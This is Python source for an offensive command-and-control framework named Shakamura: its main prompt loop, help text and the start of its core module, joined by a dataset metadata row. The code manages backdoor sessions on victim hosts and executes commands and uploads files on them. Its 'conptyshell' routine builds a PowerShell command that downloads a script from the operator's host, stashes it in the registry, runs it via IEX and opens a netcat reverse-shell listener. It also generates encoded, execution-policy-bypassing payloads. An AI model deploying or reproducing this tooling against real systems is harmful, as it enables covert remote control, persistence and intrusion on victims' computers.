as well as the pseudo shell terminal. From the main prompt: upload <LOCAL_FILE_PATH> <REMOTE_FILE_PATH> <SESSION ID or ALIAS> From an active pseudo shell prompt: upload <LOCAL_FILE_PATH> <REMOTE_FILE_PATH>''', 'least_args' : 3, 'max_args' : 3 }, 'cmdinspector' : { 'details' : f''' Shakamura has a function that inspects user issued shell commands for input that may cause a backdoor shell session to hang (e.g., unclosed single/double quotes or backticks, commands that may start a new interactive session within the current shell and more). Use the cmdinspector command to turn that feature on/off. cmdinspector <ON / OFF>''', 'least_args' : 1, 'max_args' : 1 }, 'conptyshell' : { 'details' : f''' Automatically runs Invoke-ConPtyShell against a session. A new terminal window with netcat listening will pop up and the script will be executed on the target as a new process, meaning that, you get a fully interactive shell AND you get to keep your backdoor. Currently works only for powershell.exe sessions. Because I love Invoke-ConPtyShell. Usage: conptyshell <IP or INTERFACE> <PORT> <SESSION ID or ALIAS>''', 'least_args' : 3, 'max_args' : 3 }, 'exit' : { 'details' : f'''Kill all self-owned sessions and quit.''', 'least_args' : 0, 'max_args' : 0 }, 'flee' : { 'details' : f'''Quit without terminating active sessions. When you start Shakamura again, if any Shakamura implant is still running on previously injected hosts, the session(s) will be re-established.''', 'least_args' : 0, 'max_args' : 0 }, 'clear' : { 'details' : f'''Come on man.''', 'least_args' : 0, 'max_args' : 0 }, 'purge' : { 'details' : f'''Shakamura automatically stores information regarding generated implants and loads them in memory every time it starts. This way, Shakamura generated implants become reusable and it is possible to re-establish older sessions, assuming the payload is still running on the victim(s). Use this command to delete all session related metadata. It does not affect any active sessions you may have.''', 'least_args' : 0, 'max_args' : 0 }, } @staticmethod def print_main_help_msg(): print( f''' \r Command Description \r ------- ----------- \r help [+] Print this message. \r connect [+] Connect with a sibling server. \r generate [+] Generate backdoor payload. \r siblings Print sibling servers data table. \r sessions Print established backdoor sessions data table. \r backdoors Print established backdoor types data table. \r sockets Print Shakamura related running services' info. \r shell [+] Enable an interactive pseudo-shell for a session. \r exec [+] Execute command/file against a session. \r upload [+] Upload files to a backdoor session. \r alias [+] Set an alias for a shell session. \r reset [+] Reset alias back to the session's unique ID. \r kill [+] Terminate an established backdoor session. \r conptyshell [+] Slap Invoke-ConPtyShell against a backdoor session. \r repair [+] Manually correct a session's hostname/username info. \r id Print server's unique ID (Self). \r cmdinspector [+] Turn Session Defender on/off. \r threads Print information regarding active threads. \r clear Clear screen. \r purge Delete all stored sessions metadata. \r flee Quit without terminating active sessions. \r exit Kill all sessions and quit. \r \r Commands starting with "#" are interpreted as messages and will be \r broadcasted to all connected Sibling Servers (chat). \r \r Commands with [+] may require additional arguments. \r For details use: {ORANGE}help <COMMAND>{END} ''') @staticmethod def print_detailed(cmd): PrompHelp.print_justified(PrompHelp.commands[cmd]['details'].strip()) if cmd in PrompHelp.commands.keys() \ else print(f'No details for command "{cmd}".') @staticmethod def print_justified(text): text_length = len(text) text_lines = text.split('\n') wrapped_text = '' term_width = os.get_terminal_size().columns term_width_p = 100 if 100 <= (term_width) else term_width - 2 if text_length >= term_width_p: lines = [] for p in text_lines: if len(p) <= (term_width_p - 3): lines.append(' ' + p + ' ') continue words = p.split(' ') if words == ['']: continue else: words_s = [w + ' ' for w in words] line_length = 0 count = s = 0 for w in words_s: line_length += len(w) if line_length < (term_width_p - 3): count += 1 else: lines.append(' ' + ' '.join(words[s:count]) + ' ') s = count count += 1 line_length = len(w) if s < len(words): lines.append(f' ' + ' '.join(words[s:]) + f' ') wrapped_text = '\n'.join(lines) else: wrapped_text = text print('\n' + wrapped_text, end='\n\n') @staticmethod def validate(cmd, num_of_args): valid = True if cmd not in PrompHelp.commands.keys(): print('Unknown command.') valid = False elif num_of_args < PrompHelp.commands[cmd]['least_args']: print('Missing arguments.') valid = False elif num_of_args > PrompHelp.commands[cmd]['max_args']: print('Too many arguments. Use "help <COMMAND>" for details.') valid = False return valid def alias_sanitizer(word, _min = 2, _max = 26): length = len(word) if length >= _min and length <= _max: valid = ascii_uppercase + ascii_lowercase + '-_' + digits for char in word: if char not in valid: return [f'Alias includes illegal character: "{char}".'] return word else: return ['Alias length must be between 2 to 26 characters.'] # Tab Auto-Completer class Completer(object): def __init__(self): self.tab_counter = 0 self.main_prompt_commands = clone_dict_keys(PrompHelp.commands) self.generate_arguments = ['payload', 'lhost', 'obfuscate', 'encode', 'constraint_mode', \ 'exec_outfile', 'domain'] self.payload_templates_root = os.path.dirname(os.path.abspath(__file__)) + f'{os.sep}Core{os.sep}payload_templates' def reset_counter(self): sleep(0.4) self.tab_counter = 0 def get_possible_cmds(self, cmd_frag): matches = [] for cmd in self.main_prompt_commands: if re.match(f"^{cmd_frag}", cmd): matches.append(cmd) return matches def get_match_from_list(self, cmd_frag, wordlist): matches = [] for w in wordlist: if re.match(f"^{cmd_frag}", w): matches.append(w) if len(matches) == 1: return matches[0] elif len(matches) > 1: char_count = 0 while True: char_count += 1 new_search_term_len = (len(cmd_frag) + char_count) new_word_frag = matches[0][0:new_search_term_len] unique = [] for m in matches: if re.match(f"^{new_word_frag}", m): unique.append(m) if len(unique) < len(matches): if self.tab_counter <= 1: return new_word_frag[0:-1] else: print('\n') print_columns(matches) Main_prompt.rst_prompt() return False elif len(unique) == 1: return False else: continue else: return False def find_common_prefix(self, strings): if not strings: return "" prefix = "" shortest_string = min(strings, key=len) for i, c in enumerate(shortest_string): if all(s[i] == c for s in strings): prefix += c else: break return prefix def path_autocompleter(self, root, search_term, hide_py_extensions = False): # Check if root or subdir path_level = search_term.split(os.sep) if re.search(os.sep, search_term) and len(path_level) > 1: search_term = path_level[-1] for i in range(0, len(path_level)-1): root += f'{os.sep}{path_level[i]}' dirs = next(os.walk(root))[1] match = [d + os.sep for d in dirs if re.match(f'^{re.escape(search_term)}', d)] if hide_py_extensions: if '__pycache__/' in match: match.remove('__pycache__/') files = next(os.walk(root))[2] match += [f for f in files if re.match(f'^{re.escape(search_term)}', f)] # Hide extensions if hide_py_extensions: for i in range(0, len(match)): if match[i].count('.'): match[i] = match[i].rsplit('.', 1)[0] # Appending match substring typed = len(search_term) if len(match) == 1: global_readline.insert_text(match[0][typed:]) self.tab_counter = 0 else: common_prefix = self.find_common_prefix(match) global_readline.insert_text(common_prefix[typed:]) # Print all matches if len(match) > 1 and self.tab_counter > 1: print('\n') print_columns(match) self.tab_counter = 0 Main_prompt.rst_prompt() def update_prompt(self, typed, new_content, lower = False): global_readline.insert_text(new_content[typed:]) def complete(self, text, state): text_cursor_position = global_readline.get_endidx() self.tab_counter += 1 line_buffer_val_full = global_readline.get_line_buffer().strip() line_buffer_val = line_buffer_val_full[0:text_cursor_position] #line_buffer_remains = line_buffer_val_full[text_cursor_position:] line_buffer_list = re.sub(' +', ' ', line_buffer_val).split(' ') line_buffer_list_len = len(line_buffer_list) if line_buffer_list != [''] else 0 # Return no input or input already matches a command if (line_buffer_list_len == 0): return main_cmd = line_buffer_list[0].lower() # Get prompt command from word fragment if line_buffer_list_len == 1: match = self.get_match_from_list(main_cmd, self.main_prompt_commands) self.update_prompt(len(line_buffer_list[0]), match) if match else chill() # Autocomplete session IDs elif (main_cmd in ['exec', 'alias', 'kill', 'shell', 'repair', 'upload', 'conptyshell']) and \ (line_buffer_list_len > 1) and (line_buffer_list[-1][0] not in ["/", "~"]): if line_buffer_list[-1] in (Sessions_Manager.active_sessions.keys()): pass else: # Autofill session id if only one active session #if Sessions_Manager.active_sessions: # id_already_set = any(re.search(id, line_buffer_val) for id in Sessions_Manager.active_sessions.keys()) # if not id_already_set: # if (main_cmd in ['kill', 'shell']): # session_id = list(Sessions_Manager.active_sessions.keys())[0] # self.update_prompt(len(line_buffer_list[-1]), session_id) # else: word_frag = line_buffer_list[-1] match = self.get_match_from_list(line_buffer_list[-1], list(Sessions_Manager.active_sessions.keys()) + Sessions_Manager.aliases) self.update_prompt(len(line_buffer_list[-1]), match) if match else chill() # Autocomplete aliases for reset elif (main_cmd in ['reset']) and (line_buffer_list_len > 1) and \ (line_buffer_list[-1][0] not in ["/", "~"]): if line_buffer_list[-1] in (Sessions_Manager.aliases): pass else: word_frag = line_buffer_list[-1] match = self.get_match_from_list(line_buffer_list[-1], list(Sessions_Manager.aliases)) self.update_prompt(len(line_buffer_list[-1]), match) if match else chill() # Autocomplete generate prompt command arguments elif (main_cmd == 'generate') and (line_buffer_list_len > 1): word_frag = line_buffer_list[-1].lower() if re.search('payload=[\w\/\\\]{0,}', word_frag): tmp = word_frag.split('=') if tmp[1]: root = self.payload_templates_root search_term = tmp[1] self.path_autocompleter(root, search_term, hide_py_extensions = True) else: pass else: match = self.get_match_from_list(line_buffer_list[-1], self.generate_arguments) self.update_prompt(len(line_buffer_list[-1]), match, lower = True) if match else chill() # Autocomplete help elif (main_cmd == 'help') and (line_buffer_list_len > 1): word_frag = line_buffer_list[-1].lower() match = self.get_match_from_list(line_buffer_list[-1], self.main_prompt_commands) self.update_prompt(len(line_buffer_list[-1]), match, lower = True) if match else chill() # Autocomplete paths elif (main_cmd in ['exec', 'upload']) and (line_buffer_list_len > 1) and (line_buffer_list[-1][0] in [os.sep, "~"]): root = os.sep if (line_buffer_list[-1][0] == os.sep) else os.path.expanduser('~') search_term = line_buffer_list[-1] if (line_buffer_list[-1][0] != '~') else line_buffer_list[-1].replace('~', os.sep) self.path_autocompleter(root, search_term) # Reset tab counter after 0.5s of inactivity Thread(name="reset_counter", target=self.reset_counter).start() return def main(): chill() if args.quiet else print_banner() current_wd = os.path.dirname(os.path.abspath(__file__)) # Check for updates if not args.skip_update: try: local_files_path = current_wd + os.sep branch = 'main' url = f'https://api.github.com/repos/r0jahsm0ntar1/Shakamura/git/trees/{branch}?recursive=1' raw_url = f'https://raw.githubusercontent.com/r0jahsm0ntar1/Shakamura/{branch}/' Loading.active = True loading_animation = Thread(target = Loading.animate, args = (f'[{INFO}] Checking for updates',), name = 'loading_animation', daemon = True).start() def get_local_file_hash(filename): try: with open(local_files_path + filename, 'rb') as f: data = f.read() return md5(data).hexdigest() except FileNotFoundError: return False def update_file(filename, data): try: with open(local_files_path + filename, 'wb') as f: f.write(data) return True except: return False try: response = requests_get(url = url, timeout=(5, 27)) response.raise_for_status() # raises stored HTTPError, if one occurred res_status_code = response.status_code #except requests.exceptions.HTTPError as e: #print(f'\r[{ERR}] Failed to fetch latest version data: {e}') except Exception as e: res_status_code = -1 Loading.stop() print(f'\r[{ERR}] Failed to fetch latest version data: {e}') if res_status_code == 200: files = [file['path'] for file in response.json()['tree'] if file['type'] == 'blob'] update_consent = False for filename in files: file_data = requests_get(url = raw_url + filename, timeout=(5, 27)) latest_signature = md5(file_data.content).hexdigest() local_signature = get_local_file_hash(filename) if not local_signature or (local_signature != latest_signature): Loading.stop() if not update_consent: consent = input(f'\r[{INFO}] Updates detected. Would you like to proceed? [y/n]: ').lower().strip() if consent in ['y', 'yes']: update_consent = True Loading.active = True loading_animation = Thread(target = Loading.animate, args = (f'[{INFO}] Updating',), name = 'loading_animation', daemon = True).start() else: break if update_consent: updated = update_file(filename, file_data.content) if not updated: Loading.stop() print(f'\r[{ERR}] Error while updating files. Installation may be corrupt. Consider reinstalling Shakamura.') exit(1) if update_consent: Loading.stop() print(f'\r[{INFO}] Update completed!') os.execv(sys.executable, ['python3'] + sys.argv + ['-q'] + ['-s']) else: Loading.stop(print_nl = True) else: Loading.stop(print_nl = True) except KeyboardInterrupt: Loading.stop(print_nl = True) pass # Initialize essential services print(f'{BLUE} ~[ Initializing required services ]~{END}\n') ''' Init Core ''' core = Core_Server() core_server = Thread(target = core.initiate, args = (), name = 'team_server') core_server.daemon = True core_server.start() # Wait for the Core server socket to be established timeout_start = time() while time() < (timeout_start + 5): if core.core_initialized: break elif core.core_initialized == False: sys.exit(1) else: sys.exit(1) ''' Init Netcat ''' netcat = TCP_Sock_Multi_Handler() nc_multi_listener = Thread(target = netcat.initiate_nc_listener, args = (), name = 'nc_tcp_socket_server') nc_multi_listener.daemon = True nc_multi_listener.start() # Wait for the Netcat multi listener socket to be established timeout_start = time() while time() < (timeout_start + 5): if netcat.listener_initialized: break elif netcat.listener_initialized == False: sys.exit(1) else: sys.exit(1) ''' Init Shakamura Engine ''' initiate_afric_server() payload_engine = Payload_Generator() sessions_manager = Sessions_Manager() Shakamura.server_unique_id = core.return_server_uniq_id() ''' Init File Smuggler ''' file_smuggler = File_Smuggler() ''' Define exit func ''' def do_nothing(): pass def shakamura_out(flee = False): bound = False verified = True if Sessions_Manager.active_sessions or core.sibling_servers: bound = True chk_msg = '\nDo you wish to exit without terminating any of your active sessions? [y/n]: ' if flee else \ '\nAre you sure you wish to exit? All of your sessions/connections with siblings will be lost [y/n]: ' try: choice = input(chk_msg).lower().strip() if bound else 'y' verified = True if choice in ['yes', 'y'] else False except: print() verified = False if verified: try: Core_Server.announce_server_shutdown() Shakamura.terminate() if not flee else do_nothing() core.stop_listener() except: pass finally: print() if bound else print('\n') print(f'{BLUE}-[ Shakamura C3 - COM Command & Control ]- {END}') print(f'{BLUE}-[ Managed By r0jahsm0ntar1 in africana-framework ]- {END}') print(f'{BLUE}-[ https://youtube.com/@RojahsMontari [Subscribe] ]- {END}') sys.exit(0) return ''' Start tab autoComplete ''' comp = Completer() global_readline.set_completer_delims(' \t\n;') global_readline.parse_and_bind("tab: complete") global_readline.set_completer(comp.complete) print(f'[{INFO}] Welcome! Type "help" to list available commands.\n') ''' +---------[ Command prompt ]---------+ ''' while True: try: if Main_prompt.ready: user_input = input(Main_prompt.prompt).strip() if user_input == '': continue # Check if input is a chat message if user_input[0] == '#': if core.sibling_servers.keys(): Core_Server.broadcast(user_input[1:], 'global_chat') print(f'\r[{INFO}] Message broadcasted.') else: print(f'\r[{INFO}] You are currently not connected with other sibling servers.') continue # Handle single/double quoted arguments quoted_args_single = re.findall("'{1}[\s\S]*'{1}", user_input) quoted_args_double = re.findall('"{1}[\s\S]*"{1}', user_input) quoted_args = quoted_args_single + quoted_args_double if len(quoted_args): for arg in quoted_args: space_escaped = arg.replace(' ', Main_prompt.SPACE) if (space_escaped[0] == "'" and space_escaped[-1] == "'") or (space_escaped[0] == '"' and space_escaped[-1] == '"'): space_escaped = space_escaped[1:-1] user_input = user_input.replace(arg, space_escaped) # Create cmd-line args list user_input = user_input.split(' ') cmd_list = [w.replace(Main_prompt.SPACE, ' ') for w in user_input if w] cmd_list_len = len(cmd_list) cmd = cmd_list[0].lower() if cmd_list else '' if cmd in core.requests.keys(): core.requests[cmd] = True continue # Validate number of args valid = PrompHelp.validate(cmd, (cmd_list_len - 1)) if not valid: continue if cmd == 'help': if cmd_list_len == 1: PrompHelp.print_main_help_msg() elif cmd_list_len == 2: PrompHelp.print_detailed(cmd_list[1]) if cmd_list[1] in PrompHelp.commands.keys() \ else print(f'Command {cmd_list[1] if len(cmd_list[1]) <= 10 else f"{cmd_list[1][0:4]}..{cmd_list[1][-4:]}" } does not exist.') elif cmd == 'id': print(f'Server unique id: {ORANGE}{core.return_server_uniq_id()}{END}') elif cmd == 'connect': core.connect_with_sibling_server(cmd_list[1], cmd_list[2]) elif cmd == 'generate': payload_engine.generate_payload(cmd_list[1:]) elif cmd == 'kill': session_id = sessions_manager.alias_to_session_id(cmd_list[1]) if not session_id: print('Failed to interpret session_id.') continue sessions_manager.kill_session(session_id) elif cmd == 'exec': if Sessions_Manager.active_sessions.keys(): try: Main_prompt.ready = False Main_prompt.exec_active = True execution_object = cmd_list[1] session_id = cmd_list[2] is_file = False shell_type = Sessions_Manager.active_sessions[session_id]['Shell'] if execution_object[0] in [os.sep, '~']: file_path = os.path.expanduser(execution_object) is_file = True if os.path.isfile(file_path) else False try: if is_file: execution_object = get_file_contents(file_path, 'r') if execution_object in [None, False, '']: raise else: raise except: print(f'\r[{ERR}] Failed to read file {file_path}.') Main_prompt.ready = True continue if not is_file and execution_object.lower() == 'exit': print(f'\r[{INFO}] The proper way to terminate a session is by using the "kill <SESSION ID>" prompt command.') Main_prompt.ready = True continue if not is_file: # Invoke Session Defender to inspect the command for dangerous input dangerous_input_detected = False if Session_Defender.is_active: dangerous_input_detected = Session_Defender.inspect_command(Sessions_Manager.active_sessions[session_id]['OS Type'], execution_object) if dangerous_input_detected: Session_Defender.print_warning() Main_prompt.ready = True continue # Check if session id has alias session_id = sessions_manager.alias_to_session_id(session_id) if not session_id: print(f'\r[{ERR}] Failed to interpret session_id.') Main_prompt.ready = True continue # If file, check if shell type is supported for exec if shell_type not in ['unix', 'powershell.exe']: print(f'\r[{INFO}] Script execution not supported for shell type: {shell_type}') Main_prompt.ready = True continue # Check if any sibling server has an active pseudo shell on that session shell_occupied = core.is_shell_session_occupied(session_id) if not shell_occupied: # Check the session's stability and warn user approved = True if Sessions_Manager.return_session_attr_value(session_id, 'Stability') == 'Unstable': try: choice = input(f'\r[{WARN}] This session is unstable. Running I/O-intensive commands may cause it to hang. Proceed? [y/n]: ') approved = True if choice.lower().strip() in ['yes', 'y'] else False except: print() approved = False if approved: # Check who is the owner of the shell session session_owner_id = sessions_manager.return_session_attr_value(session_id, 'Owner') if session_owner_id == core.return_server_uniq_id(): File_Smuggler.fileless_exec(execution_object, session_id, issuer = 'self') if is_file \ else Shakamura.command_pool[session_id].append(execution_object) else: core.send_receive_one_encrypted(session_owner_id, [execution_object, session_id], 'exec_file') if is_file \ else Core_Server.proxy_cmd_for_exec_by_sibling(session_owner_id, session_id, execution_object) else: Main_prompt.ready = True continue else: print(f'\r[{INFO}] This session is currently being used by a sibling server.') Main_prompt.ready = True continue # Reset prompt if session status is Undefined or Lost if Sessions_Manager.active_sessions[session_id]['Status'] in ['Undefined', 'Lost']: Main_prompt.ready = True except KeyboardInterrupt: Main_prompt.ready = True continue else: print(f'\r[{INFO}] No active session.') elif cmd == 'shell': if Sessions_Manager.active_sessions.keys(): Main_prompt.ready = False session_id = Sessions_Manager.alias_to_session_id(cmd_list[1]) if not session_id: print('Failed to interpret session_id.') Main_prompt.ready = True continue shell_occupied = core.is_shell_session_occupied(session_id) if not shell_occupied: os_type = sessions_manager.active_sessions[session_id]['OS Type'] Shakamura.activate_pseudo_shell_session(session_id, os_type) else: print(f'\r[{INFO}] This session is currently being used by a sibling server.') Main_prompt.ready = True continue else: print(f'\r[{INFO}] No active session.') elif cmd == 'alias': sessions = Sessions_Manager.active_sessions.keys() if len(sessions): if cmd_list[2] in sessions: alias = alias_sanitizer(cmd_list[1]).strip() if isinstance(alias, list): print(alias[0]) else: # Check if alias is unique unique = True for session_id in sessions: if Sessions_Manager.active_sessions[session_id]['alias'] == alias.strip(): unique = False break # Check if alias is a reserved keyword is_reserved = False if alias in ['Undefined', 'Active', 'Stable', 'Unstable']: is_reserved = True # Check if alias is the id of another session is_session_id = False if alias in sessions: is_session_id = True if unique and not is_session_id and not is_reserved: Sessions_Manager.active_sessions[cmd_list[2]]['alias'] = alias.strip() Sessions_Manager.active_sessions[cmd_list[2]]['aliased'] = True Sessions_Manager.aliases.append(alias) else: print('Illegal alias value.') else: print('Invalid session ID.') else: print(f'\rNo active sessions.') elif cmd == 'repair': session_id = Sessions_Manager.alias_to_session_id(cmd_list[1]) if not session_id: print('Failed to interpret session_id.') Main_prompt.ready = True continue sessions_check = Sessions_Manager.sessions_check(cmd_list[1]) if sessions_check[0]: key = cmd_list[2].lower().strip() if key in ['hostname', 'username']: result = sessions_manager.repair(cmd_list[1], key, cmd_list[3]) if isinstance(result, list): print(result[0]) elif result == 0: print('Success.') else: print(f'Repair function not applicable on "{key}". Try HOSTNAME or USERNAME.') else: print(sessions_check[1]) elif cmd == 'reset': alias = cmd_list[1] sid = Sessions_Manager.alias_to_session_id(alias) if sid == alias: print('Unrecognized alias.') elif sid in Sessions_Manager.active_sessions.keys(): Sessions_Manager.active_sessions[sid]['aliased'] = False Sessions_Manager.active_sessions[sid]['alias'] = None Sessions_Manager.aliases.remove(alias) print(f'Alias for session {sid} successfully reset.') else: print('Unrecognized alias.') elif cmd == 'clear': os.system('clear') elif cmd == 'flee': shakamura_out(flee = True) elif cmd == 'exit': raise KeyboardInterrupt elif cmd == 'sessions': sessions_manager.list_sessions() elif cmd == 'backdoors': sessions_manager.list_backdoors() elif cmd == 'sockets': print_running_services_info() elif cmd == 'siblings': core.list_siblings() elif cmd == 'threads': print(f'\nThread limiter value: {Threading_params.thread_limiter._value}') threads = enumerate_threads() thread_names = [] print(f"Active threads ({len(threads)}):\n") for thread in threads: thread_names.append(thread.name) print_columns(thread_names) elif cmd == 'upload': Main_prompt.ready = False file_path = os.path.expanduser(cmd_list[1]) # Check if session id has alias session_id = sessions_manager.alias_to_session_id(cmd_list[3]) if not session_id: print('Failed to interpret session_id.') Main_prompt.ready = True continue sessions_check = Sessions_Manager.sessions_check(session_id) if sessions_check[0]: # Check if file exists if os.path.isfile(file_path): # Get file contents file_contents = get_file_contents(file_path) if file_contents: # Check if any sibling server has an active pseudo shell on that session shell_occupied = core.is_shell_session_occupied(session_id) if not shell_occupied: # Check who is the owner of the shell session session_owner_id = sessions_manager.return_session_attr_value(session_id, 'Owner') if session_owner_id == core.return_server_uniq_id(): File_Smuggler.upload_file(file_contents, cmd_list[2], session_id) else: core.send_receive_one_encrypted(session_owner_id, [file_contents, cmd_list[2], session_id], 'upload_file') else: print(f'\r[{INFO}] The session is currently being used by a sibling server.') Main_prompt.ready = True continue else: print(f'\r[{ERR}] File {file_path} not found.') Main_prompt.ready = True # Reset prompt if session status is Undefined or Lost if Sessions_Manager.active_sessions[session_id]['Status'] in ['Undefined', 'Lost']: Main_prompt.ready = True else: print(sessions_check[1]) Main_prompt.ready = True elif cmd == 'conptyshell': lhost = parse_lhost(cmd_list[1]) try: lport = int(cmd_list[2]) except: lport = -1 session_id = cmd_list[3] sessions_check = Sessions_Manager.sessions_check(session_id) if sessions_check[0]: # Parse LHOST if not lhost: print(f'\r[{ERR}] Failed to parse LHOST value.') continue # Parse LPORT if not (lport >= 1 and lport <= 65535): print(f'\r[{ERR}] Failed to parse LPORT value.') continue # Check if shell type is compatible shell_type = Sessions_Manager.active_sessions[session_id]['Shell'] if shell_type not in ['powershell.exe']: print(f'\r[{ERR}] Operation not supported for this shell type.') continue # Check who is the owner of the shell session session_owner_id = sessions_manager.return_session_attr_value(session_id, 'Owner') # Prepare ConPtyShell if not os.path.isfile(f'{cwd}/resources/external/scripts/Invoke-ConPtyShell.ps1'): print(f'\r[{ERR}] Invoke-ConPtyShell.ps1 not found.') continue script_data = get_file_contents(f'{cwd}/resources/external/scripts/Invoke-ConPtyShell.ps1', mode = 'r') func_name = value_name = get_random_str(10) script_data = script_data.replace('*LHOST*', lhost).replace('*LPORT*', str(lport)).replace('*FUNC*', func_name) # Create ticket for http smuggling ticket = str(uuid4()) File_Smuggler.file_transfer_tickets[ticket] = {'data' : script_data, 'issuer' : 'self', 'lifespan' : 1, 'reset_prompt' : False} # The script constructed below requests and stores ConPtyShell in registry. # It then loads the script twice for the following reasons: # 1) Check if it's loading properly before running it as a new process # because if it was run as a new process immediately and something # went wrong, the user would not receive stderr. # 2) Run as a new process, given that the first pre-flight check didn't error out. # Construct Shakamura issued command to request and exec ConPtyShell rand_key = get_random_str(5) value_name = get_random_str(5) script_src = f'http://{lhost}:{File_Smuggler_Settings.bind_port}/{ticket}' reg_polution = f'New-Item -Path "HKCU:\SOFTWARE\{rand_key}" -Force | Out-Null;New-ItemProperty -Path "HKCU:\SOFTWARE\{rand_key}" -Name "{value_name}" -Value $(IRM -Uri {script_src} -UseBasicParsing) -PropertyType String | Out-Null;' exec_script = f'(Get-ItemPropertyValue -Path "HKCU:\SOFTWARE\{rand_key}\" -Name "{value_name}" | IEX) | Out-Null' remove_src = f'Remove-Item -Path "HKCU:\Software\{rand_key}" -Recurse' new_proc = Exec_Utils.new_process_wrapper(f"{exec_script}; {func_name}; {remove_src}", session_id) execution_object = Exec_Utils.ps_try_catch_wrapper(f'{reg_polution};{exec_script};({new_proc})', error_action = remove_src) #print(execution_object) shakamura_cmd = { 'data' : execution_object, 'quiet' : False } # Append script for execution if session_owner_id == core.return_server_uniq_id(): shakamura_cmd['issuer'] = 'self' # Start listener os.system(f'x-terminal-emulator -e bash -c "stty raw -echo; (stty size; cat) | nc -lvnp {lport}"') sleep(0.2) Shakamura.command_pool[session_id].append(shakamura_cmd) else: try: verified = input(f'\r[{WARN}] This session belongs to a sibling server. If the victim host cannot directly reach your host, this operation will fail. Proceed? [y/n]: ') except: print() verified = None if verified.lower().strip() in ['y', 'yes']: # Start listener os.system(f'x-terminal-emulator -e bash -c "stty raw -echo; (stty size; cat) | nc -lvnp {lport}"') shakamura_cmd['issuer'] = core.return_server_uniq_id() Core_Server.proxy_cmd_for_exec_by_sibling(session_owner_id, session_id, shakamura_cmd) else: print(sessions_check[1]) elif cmd == 'cmdinspector': option = cmd_list[1].lower() if option in ['on', 'off']: if option == 'off': Session_Defender.is_active = False elif option == 'on': Session_Defender.is_active = True print(f'Session Defender is turned {option}.') else: print('Value can be on or off.') elif cmd == 'purge': try: chk = input('This operation will delete all stored metadata (run "help purge" for more info). Proceed? [y/n]: ') except: print() continue if chk.lower().strip() in ['yes', 'y']: cm = clear_metadata() print(f'Operation completed.') if cm else print('Something went wrong.') else: continue else: continue except KeyboardInterrupt: if not Main_prompt.ready: Main_prompt.ready = True continue if global_readline.get_line_buffer(): sys.stdout.flush() print() continue if Main_prompt.exec_active: Main_prompt.exec_active = False print('\r') continue shakamura_out() if __name__ == '__main__': main()
62,531
Python
.py
1,032
37.943798
541
0.503967
CHEGEBB/africana-framework
8
1
0
GPL-3.0
9/5/2024, 10:48:01 PM (Europe/Amsterdam)
2,285,753
shakamura_core.py
CHEGEBB_africana-framework/externals/shakamura/Core/shakamura_core.py
#!/usr/bin/env python3 # # Author: Panagiotis Chartas (r0jahsm0ntar1) # # This script is part of the Shakamura framework: # https://github.com/r0jahsm0ntar1/Shakamura import ssl, socket, struct from http.server import HTTPServer, BaseHTTPRequestHandler from warnings import filterwarnings from datetime import date, datetime from ast import literal_eval from .common import * from .settings import * from .logging import * filterwarnings("ignore", category = DeprecationWarning) registered_services = [] def print_running_services_info(): if registered_services: for entry in registered_services: print(f'[{entry["socket"]}]::{entry["service"]}') class Payload_Generator: def __init__(self): self.obfuscator = Obfuscator() # Shakamura self.constraint_mode_support = ['cmd-curl', 'ps-iex-cm', 'ps-outfile-cm', 'cmd-curl-ssl', 'ps-iex-cm-ssl', 'ps-outfile-cm-ssl', 'sh-curl', 'sh-curl-ssl'] self.exec_outfile_support = ['ps-outfile', 'ps-outfile-cm', 'ps-outfile-ssl', 'ps-outfile-cm-ssl'] def encodeUTF16(self, payload): enc_payload = "powershell -w 1 -ep bypass -e " + base64.b64encode(payload.encode('utf16')[2:]).decode() return enc_payload def args_to_dict(self, args_list): try: args_dict = {} boolean_args = [] for arg in args_list: try: tmp = arg.split("=") args_dict[tmp[0].lower()] = tmp[1] except: boolean_args.append(tmp[0].lower()) return [args_dict, boolean_args] except: return None def check_required_args(self, payload_arguments, user_supplied_dict): user_supplied = user_supplied_dict.keys() missing = subtract_lists(payload_arguments.keys(), user_supplied) if missing: print(f"Required arguments not supplied: {(', '.join(missing)).upper()}") return False return True def compute_shakamura(self, payload, user_args): # Create session unique id if type == Shakamura verify = uuid4().hex[0:6] get_cmd = uuid4().hex[0:6] post_res = uuid4().hex[0:6] header_id = 'Authorization' if not Shakamura_Settings._header else Shakamura_Settings._header session_unique_id = '-'.join([verify, get_cmd, post_res]) exec_outfile = True if payload.meta['type'] in self.exec_outfile_support else False # Append data in Session manager Sessions_Manager.legit_session_ids[session_unique_id] = { 'OS Type' : payload.meta['os'].capitalize(), 'constraint_mode' : True if payload.meta['type'] in self.constraint_mode_support else False, 'frequency' : payload.config['frequency'], 'exec_outfile' : exec_outfile, 'payload_type' : payload.meta['type'], 'Shell' : payload.meta['shell'], 'iface' : payload.parameters['lhost'] } # Store legit session metadata (used to restore previously established sessions) Shakamura_Implants_Logger.store_session_details(session_unique_id, Sessions_Manager.legit_session_ids[session_unique_id]) # Set lhost port lhost = f"{payload.parameters['lhost']}:{Shakamura_Settings.bind_port}" if not Shakamura_Settings.ssl_support \ else f"{payload.parameters['lhost']}:{Shakamura_Settings.bind_port_ssl}" # Process payload template payload.data = payload.data.replace('*LHOST*', lhost).replace('*SESSIONID*', session_unique_id).replace('*FREQ*', str( payload.config["frequency"])).replace('*VERIFY*', verify).replace('*GETCMD*', get_cmd).replace('*POSTRES*', post_res).replace('*HOAXID*', header_id).strip() # Parse outfile if exec_outfile: payload.data = payload.data.replace("*OUTFILE*", payload.config["outfile"]) def compute_netcat(self, payload, user_args): # Set lhost port lport = TCP_Sock_Handler_Settings.bind_port # Process payload template payload.data = payload.data.replace('*LHOST*', payload.parameters['lhost']).replace('*LPORT*', str(lport)).strip() def parse_lhost(self, payload, lhost_value): try: # Check if valid IP address #re.search('[\d]{1,3}[\.][\d]{1,3}[\.][\d]{1,3}[\.][\d]{1,3}', lhost_value) payload.parameters["lhost"] = str(ip_address(lhost_value)) except ValueError: try: # Check if valid interface payload.parameters["lhost"] = ni.ifaddresses(lhost_value)[ni.AF_INET][0]['addr'] except: return False def generate_payload(self, args_list): try: # Convert args to dict user_supplied_args = self.args_to_dict(args_list) args_dict = user_supplied_args[0] boolean_args = user_supplied_args[1] arguments = args_dict.keys() if (not args_dict) or (not 'payload' in arguments): print(f'Required argument PAYLOAD not supplied.') return else: template_file_path = args_dict.pop('payload').lower() module_path = 'Core.payload_templates.' + template_file_path.replace('/', '.') if os.path.isfile(f'{cwd}/payload_templates/{template_file_path}.py'): # Remove the module from sys.modules cache try: sys.modules.pop(module_path, None) except: pass # Load payload template template = import_module(module_path, package = None) payload = template.Payload() # If payload is the only argument the user supplied, print template info if not arguments: 